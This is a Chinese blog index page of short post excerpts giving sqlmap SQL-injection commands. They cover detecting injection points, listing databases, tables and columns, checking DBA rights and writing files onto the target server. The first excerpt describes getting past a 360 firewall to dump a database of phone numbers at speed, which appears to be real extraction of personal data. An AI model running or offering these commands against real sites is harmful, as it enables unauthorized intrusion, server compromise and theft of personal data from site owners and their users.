51工具盒子

2024-12-29 厉飞雨 阅读(162) 评论(0) 赞(9)

最近遇到个盲注点,有个360防火墙,绕了半天只能用 rlike 脱裤,奈何速度巨慢,五分钟一个数字,没法忍. 经过各种折腾,最终打到1秒两三个手机号的效果,记录下折腾的问题,也希望能帮助到同样遇到问题的童鞋. 第一步(提升SQLMAP 线程数): `\lib\core\settings.py` 找到 sqlmap 的这个文件,搜索 MAX_NUMBER_OF_THREA...

2024-12-29 厉飞雨 阅读(163) 评论(0) 赞(9)

```bash 1.判断注入点，获取网站信息 sqlmap.py -u http://www.xx.com/ss.asp?id=123 例： sqlmap.py -u "http://www.xx.com/ss.asp?id=123" 2.获取所有数据库 sqlmap.py -u http://www.xx.com/ss.asp?id=123 ...

2024-12-29 厉飞雨 阅读(152) 评论(0) 赞(9)

```bash 权限：必须为dba权限 file-write 从本地写入 file-dest 写入目标路径 判断是否是dba权限(显示TRUE或者FALSE，TRUE即为dba权限，反之不是) sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --is-dba 写入文件至站点目录 sq...

2024-12-29 厉飞雨 阅读(159) 评论(0) 赞(9)

注：此方法使用于access数据库，mysql、MSSQL数据库请在第二步获取站点当前数据库及数据库，方法与常规mysql、MSSQL注入一样，只不过在后面加上了"--level 2"这个参数，其他参数照常使用。 ```bash 判断数据库，获取服务器，网站环境等参数 sqlmap.py -u http://www.xx.com/show.asp --co...

2024-12-29 厉飞雨 阅读(184) 评论(0) 赞(9)

1.判断注入的是否存在注入漏洞 --------------- ```bash sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" root@huc:~# sqlmap -u(-u：指定一个URL) "http://www.xxx.com/xx.asp?id=xxx" ``` 2.获取表名 ---...

2024-12-29 厉飞雨 阅读(147) 评论(0) 赞(8)

php+mysql注入方法：http://tieba.baidu.com/p/3723202169 http://www.cnblogs.com/Javame/p/3753060.html sqlmap命令大全 1：access注入 猜解表名 and exists (select \* from admin) 猜解列名 and exists(select userna...

2024-12-29 厉飞雨 阅读(160) 评论(0) 赞(10)

sqlmap.py -u "url" --tables 列出数据库中的表 （ --tables：列出表） sqlmap.py -u "url" -T 表 --columns 列出表中字段 -D：指定数据库名称 -T：指定要列出字段的表 --columns：指定列出字段 sqlmap.py -u "url" ...

2024-12-29 厉飞雨 阅读(211) 评论(0) 赞(9)

伪静态注入 ----- ``` 1.在存在注入的地方加上*,然后获取数据库 sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" --dbs 2.获取数据库中的表 sqlmap.py -u "http://www.xx.com/index.php/index/view/...

2024-12-29 厉飞雨 阅读(147) 评论(0) 赞(9)

Access数据库注入 ----------- ``` 1.判断注入的是否存在注入漏洞 sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" root@tiejiang:~# sqlmap -u(-u：指定一个URL) "http://www.xxx.com/xx.asp?id=xxx" 2.获取表名...

2024-12-29 厉飞雨 阅读(156) 评论(0) 赞(6)

一款集成sqlmap到burpsuite中的插件(整合两大神器)，在网上寻找类似的插件，发现了一款：https://code.google.com/p/gason/，不过对windows支持并不好，于是自己动手开发一款。 **配置：** 首先安装sqlmap，传送门：http://sqlmap.org/ 将sqlmap.py加入到path中(在cmd中输入sqlmap.p...